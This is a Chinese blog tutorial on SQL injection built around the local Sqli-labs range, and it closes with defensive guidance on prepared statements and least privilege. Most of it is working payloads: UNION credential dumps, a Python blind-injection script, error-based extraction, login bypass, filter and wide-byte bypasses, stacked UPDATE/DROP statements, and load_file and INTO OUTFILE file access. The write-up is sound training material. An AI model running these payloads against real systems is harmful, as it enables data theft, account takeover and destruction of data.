Sqli-labs 玩了大半个月,把 65 关基本摸了个遍。这个靶场在 SQL 注入圈子里太经典了,几乎每个做 Web 安全的人都会拿它练手,网上通关教程也不少,但大多是“照着敲 payload,能出结果就行”,很少讲清楚为什么是这个 payload、报错信息里藏着什么逻辑、过滤规则到底挡掉了什么。我这篇笔记就换个思路:以 Sqli-labs 为主线,把不同类型的注入方式拆开揉碎,从原理到实操再到防护,完整过一遍。如果你刚接触 SQL 注入,或者刷了一半感觉卡壳,这篇文章正好能帮你把缺口补上。
先说一句关键的,Sqli-labs 是本地靶场,里面每一关都故意写满了漏洞代码,它的价值在于让我们理解攻击原理,然后反推出怎么防御。在真实环境中,任何未授权测试都是违法的,所有技巧只建议在靶场和授权范围内练习。下面进入正题。
1. Sqli-labs 靶场和环境准备
1.1 靶场结构:用 65 个关卡拼出一张漏洞地图
Sqli-labs 是一套开源的 PHP+MySQL 靶场,装好之后就是一系列“有漏洞的登录页/查询页”。它最大的优点不是难度高,而是覆盖面全:从最简单的数字型注入、字符型注入,到盲注、报错注入、堆叠注入、宽字节注入,再到各种过滤绕过,全都按关卡排好了,一层一层递进。
65 关怎么分布的,我大致梳理了一下(这是基于我自己实测后的归类,官方没有这么分,但按攻击逻辑分会更清楚):
| 关卡范围 | 核心主题 | 代表关卡 |
|---|---|---|
| Less-1 到 Less-4 | 联合注入基础,字符型/数字型 | Less-1, Less-2 |
| Less-5 到 Less-10 | 盲注与报错注入 | Less-5, Less-6 |
| Less-11 到 Less-16 | POST 注入与登录绕过 | Less-11, Less-12 |
| Less-17 到 Less-22 | UPDATE 型注入与二次注入 | Less-17 |
| Less-23 到 Less-31 | 注释符、空格、关键字过滤绕过 | Less-23, Less-26 |
| Less-32 到 Less-37 | 宽字节注入 | Less-33 |
| Less-38 到 Less-53 | 堆叠注入 | Less-38 |
| Less-54 到 Less-65 | 综合挑战与组合技巧 | Less-55 |
这个分类对我自己刷题帮助很大。因为每一关本质上就是在前面关卡的基础上加了一种“防护”,只要理解了分类,后面遇到新关卡就能快速判断它在考什么。比如看到单引号被转义成 \',脑子里第一反应就应该是宽字节或者二次注入,而不是傻傻地去试普通 payload。
1.2 本地环境:推荐直接用 Docker 镜像
Sqli-labs 的部署方式有两种,一种是下载源码丢进 phpstudy 或 LAMP 环境,另一种是直接拉 Docker 镜像跑容器。我个人推荐 Docker,原因很简单:干净、快、不污染宿主机环境。
我实际用的命令是这样:
bash复制docker pull acgpiano/sqli-labs
docker run -dt --name sqli-labs -p 8088:80 acgpiano/sqli-labs
数据库初始化和 PHP 依赖镜像里都处理好了,启动后浏览器访问 http://localhost:8088 就能进入靶场首页。要注意的是,如果容器没跑起来,先看日志:
bash复制docker logs sqli-labs
之前有一次我直接拉了个不带数据库初始化的旧镜像,结果所有关卡页面都报数据库连接错误,排查了半天才发现是镜像版本问题。所以这里建议优先用 acgpiano/sqli-labs 这个维护比较活跃的镜像,它会自动创建 security 库和安全表。
如果非要用源码搭建,本机需要装 PHP 5.x + MySQL 5.x,高版本 PHP 跑老靶场多少会有点兼容问题。Sqli-labs 里很多代码用的还是老式 mysql_query 函数,PHP 7 里直接被移除了,所以要么用 PHP 5.6,要么用 Docker。我后来测试时还发现 PHP 7.4 下有些关卡报错信息显示不出来,直接影响盲注的判断,所以环境版本千万别将就。
1.3 靶场自带数据库:先看懂 security 库
进入靶场后,建议先去了解一下它背后的数据库结构。所有关卡用的都是同一个数据库,库名是 security,里面有几张核心表:
users:用户表,字段有id, username, password,数据是固定的,很多关卡的目标就是把这个表里的数据查出来。emails:邮箱表,Less-3、Less-4 这类带括号注入的关卡会用到。referers和uagents:分别存来源页面和 User-Agent,主要是堆叠注入和 HEAD 注入的练习内容。
我刷完最大的体会是,Sqli-labs 并不难,难的反而是在真实系统中定位注入点。但靶场把“注入点长什么样”“报错信息怎么读”这些基础打得越牢,后面实战越顺。因为所有高级注入手法,核心都是“先判断闭合方式,再想办法让你的输入进入 SQL 语句的执行上下文”。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 注入判断:先解决 SQL 语句的闭合问题
2.1 为什么闭合判断是第一件事
SQL 注入的本质是:程序把用户输入直接拼进了 SQL 语句,然后交给了数据库执行。由于是字符串拼接,攻击者输入的引号和注释符就能改变原本的语句结构,让数据库去执行我们自己构造的逻辑。
拿 Less-1 的源码来看,它大概是这样的逻辑:
php复制$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";
这一关的 SQL 语句里,id 外面套了一对单引号。如果我们输入 id=1',拼出来就是:
sql复制SELECT * FROM users WHERE id='1'' LIMIT 0,1
这个语句有语法错误,数据库会报错,页面上就会显示具体的报错信息。而这个报错信息就是我们的“攻击反馈”——它告诉我们:注入点存在,而且能通过引号干扰 SQL 拼接。
判断闭合方式的基本思路很简单:依次尝试 '、"、)、')) 这些字符,观察页面是否报错、是否出现异常结果。Sqli-labs 前面几关基本就是这么设计的:
- Less-1 是单引号字符型注入
- Less-2 是数字型注入,不需要引号闭合
- Less-3 是单引号加括号闭合
- Less-4 是双引号加括号闭合
数字型为什么不需要闭合?因为 SQL 里数字可以直接写,比如 WHERE id=1,不需要引号,所以我们输入 1 union select ... 直接就能拼接成功。但字符型必须带上引号,否则我们的输入就被当成普通字符串值处理了。
2.2 用报错信息反推闭合符:Less-1 的实操记录
我在靶场里实际操作的过程,基本可以复制到每一关:
第一步,先访问地址 http://localhost:8088/Less-1/?id=1,页面正常返回用户信息。再试 ?id=1',页面立刻出现类似下面的报错:
sql复制You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
重点看报错里 near 后面的内容:''1'' LIMIT 0,1'。这里面有几个关键信息:
- 多了一个单引号,说明我们输入的
'被拼接进了 SQL,导致语法错误。 - 原始 SQL 语句结尾是
LIMIT 0,1,说明查询带了分页限制,union 注入时也要记得保留这个结构,或者用注释符把它吃掉。
第二步,验证闭合方式。输入 ?id=1' --+,页面恢复正常,说明单引号被注释符 --+ 成功注释掉了后面的内容。在这个靶场里 --+ 是 URL 上写注释符的习惯用法,因为空格在 URL 里会被吃掉,用 + 代替空格更稳妥。也就是说,最终 SQL 变成了:
sql复制SELECT * FROM users WHERE id='1' --+' LIMIT 0,1
从 --+ 开始往后全是注释,查询就能正常跑。
这里有个新手容易忽略的点:MySQL 的 -- 注释符后面必须跟一个空格或控制字符,否则不生效。所以在 SQL 语句里要写 -- (两个横杠加一个空格),URL 里就常用 --+ 或者 --%20。
第三步,确定列数。输入:
sql复制?id=1' ORDER BY 3 --+
页面正常;继续试 ORDER BY 4,报错。这说明查询结果只有 3 列。这也决定了 union 注入时只能 select 3 个字段。
2.3 ORDER BY 和 union 的配合逻辑
用 ORDER BY 4 判断列数,原理很简单:ORDER BY 是让结果按第几列排序,如果指定的列数超过查询返回的列数,数据库直接报错。这是最通用的探测列数方式,比盲猜 union 里写几个字段要准确得多。
知道列数是 3 之后,就能构造 union 注入了。基本格式:
sql复制?id=-1' UNION SELECT 1,2,3 --+
为什么这里用的是 id=-1?因为 union 会把两个查询结果合并,如果前一个查询本身就有结果,页面上显示的还是原来的用户数据,我们想在页面上看到 union 第二段查询的内容,就必须让第一个查询结果为空。所以把 id 改成不存在的负数,让第一个查询查不到东西,后面的 SELECT 1,2,3 结果才会显示在页面上。
Less-1 页面上会显示 2 和 3 两个数字,这代表查询结果的第 2 列和第 3 列会回显在页面上。接下来我们只要把 2 换成要查的字段名就行:
sql复制?id=-1' UNION SELECT 1,username,password FROM security.users --+
用户的用户名和密码就都出来了。Sqli-labs 的 users 表密码是明文的,这里可以直接看到类似 Dumb 这种默认账号。
2.4 判断注入类型的三个自检问题
每次拿到一个注入点,我习惯问自己三个问题:
- 参数是 GET 还是 POST?Less-1 到 Less-10 是 GET,Less-11 开始就是 POST,两者只是一个在 URL 上传参,一个在请求体里传参,核心注入思路一样,但构造栏不同。
- 参数值外面有没有引号或括号?这决定了闭合符。
- 页面有没有回显?有回显就优先尝试 union 注入,没有就考虑盲注或报错注入。
这三个问题想清楚,后面不管遇到多复杂的过滤,思路都不会乱。Sqli-labs 的关卡设计也基本是按这个思路递进的,所以前 10 关打好了,后面就是各种“变形”。
3. 联合注入与回显位置的妙用
3.1 union select 的标准流程总结
联合注入在整个 Sqli-labs 前半段出现频率最高,Less-1、2、3、4 全是这个套路。我把标准流程总结成五步,刷题时直接套:
- 判断闭合方式:单引号、双引号、括号组合。
- 确认列数:
ORDER BY N逐级尝试,直到报错。 - 确认回显位置:
UNION SELECT 1,2,3...,看哪个数字出现在页面上。 - 替换为敏感信息:把回显位置的数字替换成
database()、version()、user()或具体表名/字段名。 - 有需要就用
group_concat把多行数据聚合成一行显示。
第 4 步里有个很有用的函数:group_concat。它能把查询结果的多行拼接成一行,用逗号分隔。比如查所有用户名和密码,可以这样:
sql复制?id=-1' UNION SELECT 1,group_concat(username,':',password),3 FROM security.users --+
页面上一行就把所有用户的信息都列出来了。这在后面真实测试时非常实用,因为很多页面的回显空间很小,如果不聚合数据,可能只显示第一行结果,后面的都被吞了。
3.2 常见报错和页面对比:快速定位问题
联合注入最容易出的问题有三个,我把它们列成一个速查表:
| 现象 | 原因 | 解决方法 |
|---|---|---|
页面显示 1, 2, 3 而不是用户数据 |
第一个查询有结果,union 第二段被压住 | 把 id 改成不存在的负数 |
| ORDER BY 报错,union 显示列数不对 | 列数判断错误 | 从 1 到 N 重新逐次尝试 |
| 引号闭合后页面空白 | 注释符没生效或闭合符不对 | 换 --+、# 或尝试其他闭合方式 |
这里有一个细节:某些版本 MySQL 下 # 注释符也能用,但在 URL 里直接传 # 需要编码成 %23,否则浏览器会把它当成锚点。Sqli-labs 里我推荐优先用 --+,简洁且成功率最高。
另外一个容易被忽略的点:页面上的回显位置不一定总是按顺序对应。比如 Less-3 和 Less-4,因为 SQL 语句带了括号,所以闭合符要写成 '),并且回显位置有时候会落到第 1 列上。所以第 3 步的“确认回显位置”千万别跳,直接 UNION SELECT 1,2,3 看结果就好。
3.3 从回显到数据:information_schema 的用法
当我们需要从库里找表名、字段名时,就要用 MySQL 自带的元数据库 information_schema。Sqli-labs 关卡里有很多题目的目标就是让你找出那张表里的密码,最通用的查询语句是:
sql复制-- 查所有数据库
UNION SELECT 1,group_concat(schema_name),3 FROM information_schema.schemata
-- 查当前库的所有表
UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()
-- 查指定表的所有字段
UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users'
第一次刷到 Less-7 这类需要导出文件的关卡时,发现很多人卡在“不知道该从哪张表下手”。其实只要顺着 information_schema 去查,从库到表再到字段,一步都不会漏。Sqli-labs 的 users 表结构不复杂,但如果你直接猜表名,遇到真实系统就会碰壁——真实系统的表名通常不是 users 这么规整,所以学会查元数据是基本功。
3.4 实操心得:为什么回显位置是“位置”而不是“页面”
我一开始刷题时犯过一个错误:以为 UNION SELECT 1,2,3 之后页面上出现数字 2 和 3,就代表第 2 列和第 3 列的数据一定显示在页面文本里。后来发现不完全对。有些页面因为模板代码限制,只会显示最后一列,或者只会显示第一个非空字段。
所以更严谨的做法是:输入 UNION SELECT 1,2,3 后,不是看“哪几个数字显示了”,而是看“显示的数字在哪个 html 位置”。如果页面上只有 3 出现,说明只有第三列被输出到模板里,后续构造查询时只需要把关键数据放到第 3 列。这点在 Less-7 和 Less-8 这些盲注关卡尤其重要,因为它们的回显规则完全不一样。
4. 盲注:当页面不再告诉我们答案
4.1 布尔盲注:用真和假来挤数据
Less-8 是很典型的布尔盲注。这一关无论你输入什么,页面都只显示 “You are in” 或者什么都不显示,没有报错,也没有数据库内容回显。这意味着我们不能直接把数据查出来,但可以通过“页面是否正常显示”来判断某个条件为真还是假。
判断注入点的方式也很特色:输入 ?id=1' AND 1=1 --+ 页面正常,输入 ?id=1' AND 1=2 --+ 页面无内容。这就是布尔盲注的核心:构造一个布尔条件,让 SQL 语句的查询结果只有“有结果”和“没结果”两种,进而逐位拆出数据。
实操时我常用的语句是:
sql复制?id=1' AND substr(database(),1,1)='s' --+
这句的意思是把当前数据库名的第一个字符取出来,和 's' 比较,如果相等,查询正常返回,页面显示 “You are in”;如果不相等,查询结果为空,页面无内容。就这样用二分法逐个字符猜,整个库名、表名、字段名都能拼出来。
这里我强烈推荐直接写 Python 脚本,手工一个个字符试太慢了。核心逻辑很简单:
python复制import requests
url = "http://localhost:8088/Less-8/"
result = ""
chars = "abcdefghijklmnopqrstuvwxyz0123456789_"
for i in range(1, 50):
for c in chars:
payload = f"1' AND substr(database(),{i},1)='{c}' --+"
r = requests.get(url, params={"id": payload})
if "You are in" in r.text:
result += c
print(result)
break
实测下来这个脚本对 Less-8 完全有效。但要注意,靶场和真实系统在布尔盲注上可能有区别:真实系统可能没有 You are in 这种固定回显,你需要找一个“HTTP 状态码不同”“页面长度不同”或者“跳转行为不同”的特征作为真假判断依据。这也是为什么我建议先看回显特征,再写脚本。
4.2 时间盲注:当页面连真假都不告诉我们
Less-10 用的是时间盲注。这一关输入任何东西,页面显示都一样,布尔盲注也判断不了。这时只能用数据库的延时函数来制造“时间差”。
MySQL 里最常用的延时函数是 sleep()。构造这样的语句:
sql复制?id=1' AND sleep(5) --+
如果页面响应时间明显延迟了 5 秒,说明条件为真;如果立即返回,说明条件为假。然后结合 if 函数:
sql复制?id=1' AND if(substr(database(),1,1)='s',sleep(5),0) --+
如果数据库名的第一个字符是 s,就延迟 5 秒;否则立即返回。用同样的逐字符遍历思路,就能把数据抠出来。时间盲注的脚本和布尔盲注很像,只是把“页面特征判断”改成了“响应包超时时间判断”。
我用 Python requests 写的时候,会把超时设成 3 秒,请求延迟超过 3 秒就算条件为真。这里有个坑:sleep(5) 是 5 秒,如果脚本超时设置小于 5 秒,就会误判。建议先单独测一遍 sleep(5) 的响应时间,确认网络和本地环境稳定后,再设置一个合适的阈值。
4.3 报错注入:把错误信息变成查询通道
报错注入是我个人觉得最“取巧”的一类,它的核心是利用 MySQL 在报错时会把某些函数参数的内容带出来。前面说过 Less-1 会显示报错信息,但从 Less-5 开始,页面虽然不显示查询结果,却能回显 SQL 报错信息,这就为报错注入提供了条件。
我最常用的是 extractvalue 和 updatexml 两个函数,它们都是 XML 处理函数,传入非法 XPath 路径时会报错,报错内容里会包含我们拼接进去的数据。典型的语句是:
sql复制?id=1' AND extractvalue(1,concat(0x7e,(select database()),0x7e)) --+
这里 0x7e 是波浪号 ~ 的十六进制,用来让 XPath 路径非法,触发报错回显。这样页面上的报错信息就会类似:
sql复制XPATH syntax error: '~security~'
security 这个库名就从报错里带出来了。查表名、字段名同理,只是把里面的子查询换成查 information_schema 的语句。
报错注入有个明显的优势:效率比盲注高太多。盲注逐字符猜,报错注入一次能带出 32 位左右的字符串,所以说它是快速拿数据的第一选择也不为过。但前提是页面必须能显示报错信息,如果文件配置里关闭了 display_errors,那这招就废了,只能退回盲注。Sqli-labs 的默认配置文件是开了报错显示的,Less-5、Less-6 这些关卡就是为这个设计的。
4.4 盲注与报错注入的选型参考
我把这几类注入方式放在同一个表里对比,方便刷题时快速决定用什么手法:
| 回显情况 | 推荐手法 | Sqli-labs 对应关卡 |
|---|---|---|
| 页面直接显示查询结果 | 联合注入 | Less-1 到 Less-4 |
| 页面无结果但显示 SQL 报错 | 报错注入 | Less-5, Less-6 |
| 页面只有固定文本,无明显报错 | 布尔盲注 | Less-8, Less-9 |
| 页面完全无差异回显 | 时间盲注 | Less-10 |
这个表不是死的。比如 Less-9 这种完全无差异的页面,也可以先用报错注入试一遍,如果 sql 语句在拼接时被某个函数包裹了,报错注入也能成功。所以我的建议是:拿到一个注入点,优先试联合,其次试报错,再退到布尔,最后才用时间。这个顺序越靠前,效率越高,也越方便调试。
5. 登录绕过与 POST 注入场景
5.1 万能密码:为什么一个恒真条件就能绕过登录
Less-11 到 Less-16 都是登录场景,对应的就是热搜词里提到的 “sql注入万能密码绕过”。这类注入点的 SQL 语句通常是这样的:
php复制$sql = "SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
如果用户名字段传入 admin' OR 1=1 --+,密码随便填个 123,拼出来的语句就是:
sql复制SELECT username, password FROM users WHERE username='admin' OR 1=1 --+' and password='123' LIMIT 0,1
--+ 把后面的密码判断注释掉了,而 OR 1=1 是恒真条件,于是整个查询无条件成立,登录就会被绕过。这就是万能密码的基本原理。
我这里特意说一句:万能密码在实际渗透中成功率并不高,因为很多系统会做参数过滤、验证码、二次验证等。但这个技巧在 Sqli-labs 里被放在 POST 注入的开头,意义是让我们理解“登录逻辑里如果存在 SQL 拼接,那么认证本身就可以被结构化”。
5.2 用 Burp Suite 改包代替在输入框里操作
Less-11 之后的 POST 注入,我推荐不要在页面的登录框里手动尝试,而是用 Burp Suite 抓包,在请求体里改参数。原因很简单:URL 编码、特殊字符、闭合符,这些事情在 Burp 的原始请求里看得一清二楚,调试时很难被浏览器或前端的 JS 干扰。
实际操作流程:
- 浏览器打开 Less-11,随便输入用户名和密码,提交。
- Burp 的 HTTP History 里找到
POST /Less-11/的请求,参数格式类似uname=admin&passwd=123&submit=Submit。 - 把参数改成
uname=admin' or 1=1 --+&passwd=123&submit=Submit。 - 如果页面显示登录成功,说明注入成立。
这个流程适用于 Less-11 到 Less-22 的所有 POST 关卡。Burp 抓包还有一个好处:可以同时看响应包里的 Set-Cookie、跳转地址等细节,对判断登录是否成功很有帮助。
5.3 查字段、爆数据:POST 联合注入的写法
Less-11 是唯一没有闭合符的 POST 注入吗?不是,Less-11 其实是单引号闭合,它和 Less-1 的区别只是传参位置不同。所以判断和利用的思路可以完全复用。
我在 Less-11 上实际测试的 payload:
bash复制uname=-1' UNION SELECT 1,2 --+&passwd=123&submit=Submit
页面如果显示出了数字 2,说明第二个字段是回显位。然后查库名:
bash复制uname=-1' UNION SELECT 1,database() --+&passwd=123&submit=Submit
这样库名就出来了。需要注意的是,很多 POST 注入点的表单里还有隐藏字段,比如某些题库里会有 csrf_token 或 submit 值校验,Sqli-labs 里没有这个机制,但真实系统里可能会有。如果遇到签名校验,只改注入参数不改签名,请求会被拒绝,这又是另一套绕法了。
Less-17 比较特殊,它是 UPDATE 型注入,SQL 语句长这样:
php复制$sql = "UPDATE users SET password='$passwd' WHERE username='$uname'";
它的注入思路从 SELECT 变成了 UPDATE,本质上还是拼接问题。我们注入的位置是 password 字段,可以利用报错注入来获取数据。实测语句是:
bash复制uname=admin&passwd=1' AND extractvalue(1,concat(0x7e,(select database()),0x7e)) --+&submit=Submit
页面会报错并带出库名。这种 UPDATE 型注入在真实系统里很危险,因为如果拼接得当,攻击者不仅查数据,还能直接改数据。Sqli-labs 把它单独立了几个关卡,就是想让我们意识到:不只是 SELECT 语句会中招,增删改一样可能中招。
5.4 登录绕过场景的防护设计
站在开发人员的角度,这类登录注入最好防。第一,不要拼 SQL,用参数化查询。第二,密码校验不要简单的 WHERE username='xxx' AND password='xxx',而是先查用户,再在代码里用哈希函数验证密码。第三,即使出现 SQL 错误,也不要直接回显原始错误信息,更不要让报错信息被注入函数利用。
Sqli-labs 的 Less-20 到 Less-22 还涉及到 Cookie 注入,逻辑其实和 POST 差不多,只是参数从请求体挪到了 Cookie 头。刷到那里先别急着换思路,先确认 Cookie 值有没有被拼进 SQL,然后按同样的流程走一遍就行。环境不同,注入的本质是一样的。
6. 过滤绕过:从注释符到宽字节
6.1 关键字过滤:空格被吃掉怎么办
从 Less-23 开始,关卡加入了简单的过滤逻辑。最经典的是过滤注释符和空格,这也直接对应了真实系统中常见的安全编码思路。
Less-26 的源码里过滤了 空格、注释符、/ 等字符,如果你直接输入之前的 payload,会看到拼接后的 SQL 语法错乱。这时候不能再依赖注释符来吃掉尾部的 LIMIT 了,而要用其他方式把语句结构补全。
我的做法是:
- 用
and和||代替空格和逻辑判断,比如?id=1'and'1'='1。 - 用
%09、%0a、%0b、%0c、%0d这些不可见字符代替空格,MySQL 在很多位置能识别它们作为分隔符。 - 不用注释符时,必须把整个查询结构补齐,让 SQL 语句保持合法。
举一个具体例子,Less-26 的 payload 可以写成这样:
sql复制?id=1'and'1'='1
因为源码过滤了空格,但没过滤 and 和等号。语句拼出来是:
sql复制SELECT * FROM users WHERE id='1'and'1'='1' LIMIT 0,1
这在 MySQL 里是一个合法的语法:id='1' and '1'='1'。查询原样返回了结果,没用到注释符,也没用空格,照样完成了注入判断。
6.2 宽字节注入的原理:GBK 编码与转义符的博弈
Less-32 到 Less-37 是关于宽字节注入的,它的原理值得多写几句。先说结论:宽字节注入主要出现在使用 GBK 等宽字节编码的 MySQL 场景中,核心是攻击者输入一个特殊字节,让程序添加的转义符 \ 被“吞掉”。
假设程序的过滤逻辑是把输入中的单引号前加反斜杠,变成 \',这样 SQL 语句里 \' 就只是一个普通字符,不再闭合引号。但如果我们输入的是 %bf%27(%27 是单引号),在某些 MySQL 连接字符集为 GBK 的情况下,%bf%5c 会被解析成一个宽字节字符,也就是说 \ 被合并到了前一个字节里,单引号就逃出来了。
实操过程:Less-33 的页面传入 ?id=1%bf%27,观察页面是否报错,如果报错说明单引号成功逃逸。接下来就可以构造 union 注入了,只是 payload 里的单引号前都要加上 %bf 来做宽字节混淆。Sqli-labs 默认数据库连接用的字符集是不是 GBK,我实际测试下来有些关卡是能触发的,所以这个知识点值得自己动手验证一遍。
宽字节注入在现在的真实系统里已经很少见了,因为主流开发基本都是 UTF-8,且框架层做了参数化查询。但理解它仍然有两条价值:一是老系统里依然可能遇到,二是它展示了“编码处理不当”带来的纵深风险——安全不只是过滤输入,还要考虑数据库字符集、连接方式等多种因素的相互作用。
6.3 二次注入的隐藏逻辑:存储后再次拼接
Less-21 到 Less-22 实际上涉及了二次注入。二次注入的特点是:第一次攻击者输入的数据被程序以安全的方式存储了,但在另一个功能模块里,程序把这些数据再取出来拼接到 SQL 语句时没有过滤,于是注入在第二次使用时触发了。
Sqli-labs 里典型的场景就是注册用户名时写入特殊字符,之后在某次查询里直接拼接,导致注入。这类问题在靶场里刷起来有点绕,因为它需要“两步操作”,不像普通注入一发入魂。真实系统里二次注入更多存在于用户昵称、购物车备注等数据的下游查询,所以在做代码审计时,不要只盯着入口过滤,还要追踪数据存储后的每一次使用。
6.4 绕过技巧汇总:一份拿来即用的对照表
我自己刷过滤类关卡时,把常用绕过手法整理成了表格:
| 被过滤的内容 | 绕过思路 | 示例 |
|---|---|---|
注释符 --、# |
不用注释符,补齐 SQL 尾结构 | 1'and'1'='1 |
| 空格 | 用 %0a、%09、括号、内联注释 |
1'%0aunion%0aselect |
and、or |
用 &&、|| 或等号逻辑构造 |
1'&&'1'='1 |
union |
大小写混写、内联注释 /*!union*/ |
1'/*!union*/select |
| 单引号 | 宽字节注入、用 \ 闭合自身 |
1%bf%27union... |
select 等关键字 |
用 information_schema 的替代写法 |
嵌套子查询替代 |
内联注释是个值得单独提一下的技巧。MySQL 的 /*!select*/ 这种写法,MySQL 会把它当成 select 来解析,但如果过滤规则只是简单地把字符串 select 替换为空,这种写法就有可能绕过,因为过滤后剩下的字符串里不再含有完整的 select 字样。Less-26 到 Less-31 里很多关卡就是这类组合型过滤。
7. 堆叠注入与文件读写
7.1 堆叠注入:一条语句不够,就塞两条
堆叠注入是 Less-38 到 Less-53 的主题。它的原理很简单:MySQL 驱动是支持一次执行多条语句的,用分号分隔。比如:
sql复制SELECT * FROM users WHERE id=1; DROP TABLE users;
上面这种语句如果被拼接执行,第二条 DROP TABLE 也会被执行。这比单条注入危害大得多,因为它可以执行任意语句,不只是查询。
Sqli-labs 里刷堆叠注入时,我常用的验证 payload 是:
sql复制?id=1'; SELECT 1; --+
如果页面没有报错且正常返回,基本可以判断堆叠注入存在。然后可以尝试更危险的语句,比如直接修改数据:
sql复制?id=1'; UPDATE users SET password='hacked' WHERE id=1; --+
堆叠注入虽然霸气,但并不是所有环境都支持。PHP 的 mysql_query 函数本身就不支持多条语句,只有 mysqli_multi_query 或 PDO 的特定配置才支持。所以真实系统里遇到堆叠注入的概率,比普通注入要低得多。Sqli-labs 专门拿一大段关卡来训练它,主要目的是让我们在遇到数据库交互层配置较宽松的情况下,知道还有这条路可以走。
7.2 文件读写:让数据库替我们写文件
Less-7 和文件读写相关。MySQL 提供了两个重要的文件操作函数:load_file() 读文件,into outfile 写文件。它们的利用条件是当前数据库用户要有对应权限,并且配置项 secure_file_priv 允许操作文件路径。
读文件的经典写法:
sql复制?id=-1' UNION SELECT 1,load_file('/etc/passwd'),3 --+
前提是页面必须有回显,且路径可读。Less-7 实际更偏向于写文件,因为它的 SQL 语句被包在了 ((...)) 里,闭合符是 ')),配合 INTO OUTFILE 可以往 web 目录写一个 webshell。
我当时在 Less-7 上的操作是:
sql复制?id=-1')) UNION SELECT 1,2,3 INTO OUTFILE "/var/www/html/test.txt" --+
执行后,访问 http://localhost:8088/test.txt 如果能看到文件内容,说明写文件成功。这个操作的核心在于知道目标目录的绝对路径,以及当前用户有没有 FILE 权限。Sqli-labs 里用的往往是容器的默认路径,所以不一定能完全复现,但只要权限到位,思路是通用的。
我要特别提醒:文件读写是把双刃剑,在靶场里练习没问题,千万别去真实系统上试。轻则触碰法律红线,重则直接搞垮目标系统,而且写文件成功后的危害完全不可控。安全技术是用来防守和测试的,不是用来搞破坏的。
7.3 从靶场到实战:payload 的选择逻辑
刷完整个 Sqli-labs,你会发现每一关的 payload 都不是“背下来”的,而是根据当前页面的反应“试出来”的。真实系统中没有固定的关卡提示,所以更需要一套选择逻辑:
- 先探测闭合方式,最简单的方法就是加入一个单引号看反应。
- 尝试联合注入,3 到 5 次内能判断出有没有回显。
- 没有回显就试报错注入,三个函数挨个试一遍:
extractvalue、updatexml、floor。 - 报错也被过滤,再考虑布尔盲注和时间盲注。
- 遇到过滤,针对被过滤的字符做针对性绕过。
Sqli-labs 的关卡设置,其实已经把这条链路拆成了单独的关卡,你每刷过一类,就是在强化这一环的技能。全 65 关刷完,我最大的感觉不是“会背 payload 了”,而是“拿到一个 URL 后,知道怎么系统化地判断和利用,也知道该在哪些环节提早做防御”。
8. 检测与防护:把攻击思路反过来用
8.1 模糊测试:用常见 payload 铺一遍
检测 SQL 注入时,我常用两种手段:一种是手动构造几个标志性请求,另一种是直接上模糊测试工具。手动方式适合快速验证,比如往参数里加 '、"、)、%27、%09 等符号,然后看响应包特征是否有异常。
工具层面,我习惯用 sqlmap 做辅助验证。Sqli-labs 本身刷手工会很有意思,但到后期挑战关(Less-54 之后)时间效率太低,偶尔也会上 sqlmap:
bash复制sqlmap -u "http://localhost:8088/Less-1/?id=1" --batch --dbs
sqlmap 的原理和手工是一致的,只是内置了大量 payload 和指纹库,能自动探测注入类型、数据库类型、当前用户权限等。但我不建议完全依赖它——因为很多真实系统的过滤规则就是针对 sqlmap 的特征设计的,它扫不出来手工却能绕过的例子并不少见。我自己的习惯是:sqlmap 负责快速确认“有没有”,手工负责深入利用“怎么绕”。
8.2 修复代码:从根上杜绝拼接
聊完了攻击,回到防御层面。Sqli-labs 里的漏洞代码全是同一个病根:字符串拼接 SQL。所以修复的第一原则就是“永远不要用拼接的方式构造 SQL”。
我用 PHP 举例,对比一下安全和不安全的写法:
不安全:
php复制$sql = "SELECT * FROM users WHERE id='$id'";
$result = mysqli_query($conn, $sql);
安全(用预处理语句):
php复制$stmt = $conn->prepare("SELECT * FROM users WHERE id = ?");
$stmt->bind_param("i", $id);
$stmt->execute();
预处理语句的原理是:SQL 结构先被数据库编译,参数再作为数据传入,参数永远不可能成为 SQL 代码的一部分。这是目前最有效的防注入手段,没有之一。Java 里的 PreparedStatement、Python 里的参数化查询、Go 里的 database/sql 参数占位符,都是同一个道理。
如果因为某些历史原因必须用拼接,那就要做严格的白名单过滤:数字型强制转 int,字符串型用转义函数,再叠加最小权限数据库账号。但这些都是退而求其次的方案,能上参数化就上参数化。
8.3 WAF 和输入校验能做什么、不能做什么
有些系统会在接入层设置 WAF,或者自己写过滤函数屏蔽关键字。Sqli-labs 里那些过滤规则就是 WAF 的简化版。但过滤规则有个通病:永远有绕过空间,前面讲的宽字节、内联注释、编码绕过就是例子。
所以我的观点是:WAF 和输入校验只能作为“减损层”,真正兜底的必须是参数化查询和最小权限账户。不要以为加了 addslashes 就万无一失,Less-32 到 Less-37 已经给出了活生生的反例。
数据库权限方面,生产环境建议做到:
- 应用账号不持有
FILE权限(避免文件读写)。 - 只授予
SELECT、INSERT、UPDATE、DELETE中业务必须的权限。 - 不授予
DROP、ALTER等高风险权限。 - 错误信息统一由应用层转换,不直接向外暴露数据库原始报错。
8.4 个人体会:Sqli-labs 刷完后还缺什么
最后一小段,说点我自己刷完整个靶场的真实感受。Sqli-labs 覆盖了 SQL 注入的绝大多数攻击形态,但它毕竟是靶场,和真实系统有些关键差异:真实系统的代码更复杂,数据表结构不固定,日志和监控体系会记录异常请求,还有可能有 CDN、WAF 多层网络架构。所以刷完 Sqli-labs 并不等于能在实战中横着走,它更像是把基本功练扎实了,后续还需要在授权测试和代码审计场景里继续积累。
如果只让我挑一个最值得记住的核心思想,那就是:SQL 注入的本质是“数据与代码的边界被打破”。所有攻击手段都是围绕这个边界做文章,所有防护手段的本质都是让用户输入永远只能作为数据处理、无法上升为代码。理解这一点,往后不管出现什么新框架、新绕过方式,你都能快速抓到问题的关键。
另外我想再留一个自己的小习惯:每次在 Sqli-labs 里新学到一个绕过姿势,我都会在本地搭一个最小的 PHP 页面,把同样类型的漏洞代码复制下来,自己改一改,验证一遍,再尝试修复它。半个月下来,这种“先破后立”的练习方式,比单纯刷题对能力的提升大得多。如果你也打算认真学 SQL 注入,我强烈建议你也照这个思路试试。
